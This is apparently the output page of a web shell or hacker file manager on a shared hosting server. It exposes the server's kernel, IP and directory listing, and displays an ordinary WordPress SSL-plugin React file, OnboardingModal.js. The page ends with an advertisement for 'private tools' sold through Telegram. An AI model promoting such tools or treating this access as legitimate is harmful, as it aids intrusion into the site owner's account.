aDriv4 website!

Linux premium167.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
LiteSpeed
162.0.209.84

OnboardingModal.js

import {useEffect} from "@wordpress/element";
import Onboarding from "./Onboarding";
import Placeholder from '../Placeholder/Placeholder';
import { __ } from '@wordpress/i18n';
import Icon from "../utils/Icon";
import useOnboardingData from "./OnboardingData";
import useFields from "../Settings/FieldsData";
import RssslModal from "../../../modal/src/components/Modal/RssslModal";
import OnboardingControls from "./OnboardingControls";

const OnboardingModal = () => {
    const {footerStatus, showOnboardingModal, fetchOnboardingModalStatus, modalStatusLoaded, currentStep, dismissModal} = useOnboardingData();
    const {fieldsLoaded} = useFields();

useEffect(() => {
        if ( !modalStatusLoaded ) {
            fetchOnboardingModalStatus();
        }
    }, []);

useEffect(()=> {
        if ( showOnboardingModal ) {
            dismissModal(false);
        }
    }, [showOnboardingModal]);

const modalContent = () => {
        return (
            <>
                { !fieldsLoaded &&
                    <>
                        <ul>
                            <li><Icon name = "loading" />{__("Please wait while we detect your setup", "really-simple-ssl")}</li>
                        </ul>
                        <Placeholder lines="3"></Placeholder>
                    </>
                }
                { fieldsLoaded && <Onboarding isModal={true} /> }
            </>
        )
    }

const setOpen = (open) => {
        if ( !open ) {
            dismissModal(true);
        }
    }

const handleFooterStatus = () => {
        if ( footerStatus.length === 0 ) {
            return false;
        }

return (
            <>
                <Icon name = "loading" color = 'grey' />
                {footerStatus}
            </>
        )
    }

return (
        <>
            <RssslModal
                className={"rsssl-onboarding-modal"}
                title={currentStep.title}
                subTitle={currentStep.subtitle}
                currentStep = {currentStep}
                content={modalContent()}
                isOpen={showOnboardingModal}
                setOpen={setOpen}
                buttons = <OnboardingControls isModal={true} />
            footer = {handleFooterStatus() }
            />
        </>
    )
}

export default OnboardingModal;

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	sedogerk/sedogerk	0755	2026-04-09 06:52:09
..	dir	-	sedogerk/sedogerk	0755	2026-04-09 06:52:09
Items	dir	-	sedogerk/sedogerk	0755	2026-04-09 06:52:09
Steps	dir	-	sedogerk/sedogerk	0755	2026-04-09 06:52:09
Onboarding.js	text/x-java	3.12 KB	sedogerk/sedogerk	0644	2026-04-09 06:52:09
OnboardingControls.js	text/x-java	8.8 KB	sedogerk/sedogerk	0644	2026-04-09 06:52:09
OnboardingData.js	text/x-java	10.1 KB	sedogerk/sedogerk	0644	2026-04-09 06:52:09
OnboardingModal.js	text/x-java	2.28 KB	sedogerk/sedogerk	0644	2026-04-09 06:52:09
PremiumItem.scss	text/plain	128 B	sedogerk/sedogerk	0644	2026-04-09 06:52:09
checkbox.scss	text/plain	1.54 KB	sedogerk/sedogerk	0644	2026-04-09 06:52:09
onboarding.scss	text/plain	1.04 KB	sedogerk/sedogerk	0644	2026-04-09 06:52:09

For more Private tool come to me!

https://t.me/aDriv4vz